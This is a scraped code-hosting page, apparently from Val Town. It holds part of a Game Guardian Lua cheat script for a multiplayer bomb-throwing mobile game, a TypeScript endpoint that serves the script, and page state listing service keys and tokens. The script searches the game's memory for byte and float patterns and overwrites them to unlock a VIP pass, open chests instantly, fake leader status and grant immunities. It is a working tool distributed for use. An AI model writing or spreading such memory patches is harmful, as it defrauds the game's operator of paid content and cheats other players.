gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber('92;-48;59;-43;-13;3;0;-86;-32;3;2;42;-120;23;64;-7;-8;3;3;42;-12;3;2;42::24', gg.TYPE_BYTE)\n gg.sleep(700)\n\n local results = gg.getResults(24)\n if #results < 24 then\n gg.clearResults()\n gg.alert(\"Pattern not found\")\n return\n end\n\n local addr = results[1].address + 8\n gg.setValues({\n {address = addr, flags = gg.TYPE_BYTE, value = 0xA0},\n {address = addr + 1, flags = gg.TYPE_BYTE, value = 0x02},\n {address = addr + 2, flags = gg.TYPE_BYTE, value = 0x80},\n {address = addr + 3, flags = gg.TYPE_BYTE, value = 0x52},\n })\n gg.clearResults()\n gg.toast(\"Throw to Place Active\")\nend\n\nlocal function bugsMenu()\n while true do\n local choice = gg.choice({\n \" Match Private\",\n \" Fake Leader\",\n \" Raw of Bomb\",\n \" Fast Throw\",\n \" Smoke [1.35]\",\n \" Anti-Stunt\",\n \" Open Chest Instant\",\n \" Unlock VIP Pass\",\n \" Dungeon Claim\",\n \" Place Throw Bomb\",\n \"────────────\",\n \" Back\"\n }, nil, uiTitle(\"BUGS\"))\n\n if choice == nil then\n waitForGG()\n elseif choice == 1 then\n privateMatch()\n elseif choice == 2 then\n fakeLeaderToggle()\n elseif choice == 3 then\n bombMenu()\n elseif choice == 4 then\n fastThrow()\n elseif choice == 5 then\n smokeFuseHack()\n elseif choice == 6 then\n antiStunt()\n elseif choice == 7 then\n chestTimer()\n elseif choice == 8 then\n vipPass()\n elseif choice == 9 then\n dungeonClaimAll()\n elseif choice == 10 then\n throwToPlace()\n elseif choice == 12 then\n break\n end\n end\nend\n\nlocal function useCard(cardName, cardFunc)\n if cardUsed[cardName] then\n gg.alert(\"Already used\")\n return\n end\n cardFunc()\n cardUsed[cardName] = true\n gg.toast(\"Card activated: \" .. cardName)\nend\n\nlocal function blobHack()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_C_ALLOC)\n gg.searchNumber(\"12.0\", gg.TYPE_FLOAT)\n gg.sleep(700)\n local results = gg.getResults(10000)\n if #results > 0 then\n for i, v in ipairs(results) do\n results[i].value = 0.0\n end\n gg.setValues(results)\n end\n gg.clearResults()\nend\n\nlocal function blobIceBombHack()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_C_ALLOC)\n gg.searchNumber(\"10.0\", gg.TYPE_FLOAT)\n gg.sleep(700)\n local results = gg.getResults(10000)\n if #results > 0 then\n for i, v in ipairs(results) do\n results[i].value = 0.0\n end\n gg.setValues(results)\n end\n gg.clearResults()\nend\n\nlocal function wingedBlobHack()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_C_ALLOC)\n gg.searchNumber(\"9.0\", gg.TYPE_FLOAT)\n gg.sleep(700)\n local results = gg.getResults(10000)\n if #results > 0 then\n for i, v in ipairs(results) do\n results[i].value = 0.0\n end\n gg.setValues(results)\n end\n gg.clearResults()\nend\n\nlocal function noBlackoutHack()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_C_ALLOC)\n gg.searchNumber(\"6.0;8.0\", gg.TYPE_FLOAT)\n gg.sleep(700)\n local results = gg.getResults(10000)\n if #results > 0 then\n for i, v in ipairs(results) do\n results[i].value = 0.0\n end\n gg.setValues(results)\n end\n gg.clearResults()\nend\n\nlocal function noFlashBangHack()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_C_ALLOC)\n gg.searchNumber(\"1.7;2.2\", gg.TYPE_FLOAT)\n gg.sleep(700)\n local results = gg.getResults(10000)\n if #results > 0 then\n for i, v in ipairs(results) do\n results[i].value = 0.1\n end\n gg.setValues(results)\n end\n gg.clearResults()\nend\n\nlocal function noSmokeFake()\n gg.sleep(500)\nend\n\nlocal function noCurse()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber('-3;123;-68;-87;-8;95;1;-87;-10;87;2;-87;-12;79;3;-87;-3;3;0;-111;-12;3;0;-86;-32;3;1;-86;-13;3;1;-86;-21;81;41;-108;-105;78;64;-7;-104;66;2;-111;-1;2;24;-21;-64;2;0;84;-11;3;0;42;8;0;0;20;-32;3;20;-86::64', gg.TYPE_BYTE)\n gg.sleep(700)\n local results = gg.getResults(64)\n\n if #results < 64 then\n gg.clearResults()\n gg.alert(\"Pattern not found\")\n return\n end\n\n gg.setValues({\n {address = results[1].address, flags = gg.TYPE_BYTE, value = -64},\n {address = results[2].address, flags = gg.TYPE_BYTE, value = 3},\n {address = results[3].address, flags = gg.TYPE_BYTE, value = 95},\n {address = results[4].address, flags = gg.TYPE_BYTE, value = -42},\n })\n gg.clearResults()\n gg.toast(\"No Curse Active\")\nend\n\nlocal function iceImmunity()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber('8;-116;64;-7;8;113;65;57;104;0;0;52::12', gg.TYPE_BYTE)\n gg.sleep(700)\n local results = gg.getResults(144)\n\n if #results == 0 then\n gg.clearResults()\n gg.alert(\"Pattern not found\")\n return\n end\n\n local patches = {}\n local idx = 1\n for i = 1, #results, 12 do\n patches[idx] = {address = results[i].address, flags = gg.TYPE_BYTE, value = 0}\n patches[idx + 1] = {address = results[i + 1].address, flags = gg.TYPE_BYTE, value = 0}\n patches[idx + 2] = {address = results[i + 2].address, flags = gg.TYPE_BYTE, value = -128}\n patches[idx + 3] = {address = results[i + 3].address, flags = gg.TYPE_BYTE, value = 82}\n patches[idx + 4] = {address = results[i + 4].address, flags = gg.TYPE_BYTE, value = -64}\n patches[idx + 5] = {address = results[i + 5].address, flags = gg.TYPE_BYTE, value = 3}\n patches[idx + 6] = {address = results[i + 6].address, flags = gg.TYPE_BYTE, value = 95}\n patches[idx + 7] = {address = results[i + 7].address, flags = gg.TYPE_BYTE, value = -42}\n idx = idx + 8\n end\n\n gg.setValues(patches)\n gg.clearResults()\n gg.toast(\"Ice Immunity Active\")\nend\n\nlocal function cardsMenu()\n while true do\n local choice = gg.choice({\n \" Blob\",\n \" Blob & Ice Bomb\",\n \" Winged Blob\",\n \" No Black Out\",\n \" No Flash\",\n \" No Smoke\",\n \" No Curse\",\n \" Ice Bomb\",\n \"────────────\",\n \" Back\"\n }, nil, uiTitle(\"CARDS\"))\n\n if choice == nil then\n waitForGG()\n elseif choice == 1 then\n useCard(\"blob\", blobHack)\n elseif choice == 2 then\n useCard(\"blobIce\", blobIceBombHack)\n elseif choice == 3 then\n useCard(\"wingedBlob\", wingedBlobHack)\n elseif choice == 4 then\n useCard(\"noBlackout\", noBlackoutHack)\n elseif choice == 5 then\n useCard(\"noFlash\", noFlashBangHack)\n elseif choice == 6 then\n useCard(\"noSmoke\", noSmokeFake)\n elseif choice == 7 then\n useCard(\"noCurse\", noCurse)\n elseif choice == 8 then\n useCard(\"iceImmunity\", iceImmunity)\n elseif choice == 10 then\n break\n end\n end\nend\n\nlocal function mainMenu()\n while true do\n local choice = gg.choice({\n \" Bugs\",\n \" Cards\",\n \"────────────\",\n \"Exit\"\n }, nil, uiTitle(\"MAIN MENU\"))\n\n if choice == nil then\n waitForGG()\n elseif choice == 1 then\n bugsMenu()\n elseif choice == 2 then\n cardsMenu()\n elseif choice == 4 then\n gg.clearResults()\n os.exit()\n end\n end\nend\n\nloading()\nmainMenu()\n`.trim();\n\nexport default async function (req: Request): Promise {\n const url = new URL(req.url);\n\n if (url.searchParams.get(\"version\") === \"1\") {\n return new Response(VERSION, {\n headers: { \"Content-Type\": \"text/plain; charset=utf-8\" }\n });\n }\n\n return new Response(SCRIPT, {\n headers: {\n \"Content-Type\": \"text/plain; charset=utf-8\",\n \"X-Script-Version\": VERSION\n }\n });\n}",[137],"pulls","branches",1,"forks","envVars",{"_152":62,"_154":62},"connections",{"_152":62,"_153":62},"count","unfilledCount","emptyCount",{"_43":136,"_32":137,"_30":138,"_129":-5,"_41":42,"_40":139,"_130":58,"_38":161,"_13":141,"_33":34,"_35":142,"_24":25,"_133":-5,"_158":162,"_27":163},{"_43":128,"_32":28,"_30":31,"_129":-5,"_41":42,"_40":14,"_130":25,"_38":157,"_13":132,"_33":34,"_35":37,"_24":25,"_133":134,"_158":159,"_27":160},["D",1789323129428],"children",[],[28],["D",1789322742452],[],[137],["D",1789314787733],{"_96":95,"_104":100},{"_96":95,"_97":98,"_99":100,"_18":55,"_101":102,"_103":25},{"_13":85,"_32":86,"_43":42,"_87":44,"_88":-5,"_89":-5,"_90":-5,"_91":-5,"_92":-5,"_93":45,"_94":95},"ctx",{"_78":-5,"_123":201,"_202":203,"_204":205,"_206":25,"_207":25,"_208":25,"_209":58,"_210":-5,"_211":-7,"_212":-7,"_213":62,"_214":25,"_215":25,"_216":-5,"_217":25,"_218":25,"_219":25,"_220":-5},"ENV",{"_172":173,"_174":175,"_176":86,"_177":178,"_179":180,"_181":182,"_183":184,"_185":186,"_187":188,"_189":190,"_191":192,"_193":194,"_195":196,"_197":198,"_199":200},"REACT_APP_SENTRY_DSN","https://586020d86f05489db63a554690acf1e9@o1398359.ingest.sentry.io/6724499","RENDER_GIT_COMMIT","e87eb04e707cf64e7e532c8e8ec395f209e17f15","RENDER_GIT_BRANCH","POSTHOG_API_TOKEN","phc_nmoyuAkStEZuUp69rYlg1DZgrIt19Gx0Y4Hwf8tGgJP","POSTHOG_API_HOST","https://wart.val.town","WEB_API_TEMPLATE","https://{val}.web.val.run","APP_URL","https://www.val.town","MODULE_URL","https://esm.town","VANITY_WEB_API_TEMPLATE","https://{label}.val.run/","DENOLS_URL","https://lsp.val.town","NODE_ENV","production","CLOUDFLARE_TURNSTILE_SITE_KEY","0x4AAAAAACtaIZJH7s9rBMZ6","GOOGLE_CLIENT_ID","875989696899-jtsqkhlbdv5jrlsk8631p7ipjg3c6o62.apps.googleusercontent.com","STRIPE_PUBLISHABLE_KEY","pk_live_51N2zvWEpZTTLipIkVEwXrUG9AT0yeOOEYxszarZT1jpsZV58Ly6wlg3SltZpHN26CUalOBmUSY7adQRQiSkCZz2500qSXNkf8Y","API_URL","https://api.val.town",[],"preferencesKeybindings","default","preferencesTheme","light","preferencesFixers","preferencesCopilot","preferencesSelectionAi","preferencesCloseBrackets","preferencesChatPanelState","preferencesDprint","preferencesDenofmt","notificationCount","flagDenols","isBusinessOrgMember","businessOrgHandle","isBusinessOrgAdmin","isHigherTownieTier","navCollapsed","currentOrgId"]

Diff · v33